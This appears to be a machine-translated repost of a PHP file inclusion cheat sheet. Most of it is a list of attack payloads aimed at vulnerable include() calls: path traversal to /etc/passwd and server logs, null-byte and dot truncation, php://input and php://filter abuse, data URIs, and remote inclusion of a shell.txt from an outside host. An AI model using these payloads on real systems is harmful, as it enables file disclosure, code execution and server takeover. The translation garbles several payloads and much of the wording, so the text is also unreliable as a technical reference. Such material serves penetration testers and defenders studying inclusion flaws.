About PHP file contains some vulnerability analysis

Source: Internet
Author: User

Basic file include vulnerability:

The code is as follows Copy Code
<?php include ("includes/". $_get[' file ');?>
* Contains files under the same path:
? file=.htaccess
* Path Traversal:
? file=. /.. /.. /.. /.. /.. /.. /.. /.. /var/lib/locate.db
(This file is very interesting because it allows you to search the file system)
* Contains files to inject PHP code:
? file=. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
(You can find the other possible Apache dirs-here and ways. Possible logfiles, file uploads, session files etc.

Restricted local files include:

The code is as follows Copy Code
<?php include ("includes/". $_get[' file '). ". htm");?>
* Empty character injection (null Byte injection):
? file=. /.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd%00
(Need Magic_quotes_gpc=off)
* Column directory (Null Byte injection):
? file=. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/accounts/%00
(BSD only, need Magic_quotes_gpc=off, detailed information here)
* Path truncation (path truncation):
? file=. /.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd ........
(see here and here for more information)
* Point number truncation:
? file=. /.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd ............
(Windows only, see here for more details)

The basic remote file contains:

  code is as follows copy code


<?php include ($_get[' file ');?>

* contains remote code (including):

? file=[http|https|ftp]://websec.wordpress.com/shell.txt

(Need Allow_url_fopen=on and Allow_url_include=on)

* Use PHP input stream (using PHP stream php://input):

? file=php://input
(Specify your payload in the POST parameters, watch urlencoding, details here, requires Allow_url_include=on)

* Use PHP filter function (using PHP stream php://filter):
? file=php://filter/convert.base64-encode/resource=index.php
(Lets you read the PHP source because it wont get evaluated in base64. More details here and here)
* Using Data URIs:
? file=data://text/plain;base64,ssbsb3zlifbiuao=
(Need Allow_url_include=on)

* For cross-site scripting attacks (Using XSS):

The code is as follows Copy Code
? file=http://127.0.0.1/path/xss.php?xss=phpcode
(Makes sense if firewalled or only whitelisted domains allowed)

Limited remote file contains vulnerabilities

The code is as follows Copy Code
<?php include ($_get[' file '). ". htm");?>
* File=http://websec.wordpress.com/shell?
* file=http://websec.wordpress.com/shell.txt?
* file=http://websec.wordpress.com/shell.txt%23?
(Need Allow_url_fopen=on and Allow_url_include=on)

Static remote file contains vulnerability:

The code is as follows Copy Code

<?php include ("http://192.168.1.10/config.php");?>
* Man-in-the-Middle attack (man in the middle)
(lame indeed, but often forgotten)


From Reiners ' Weblog.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.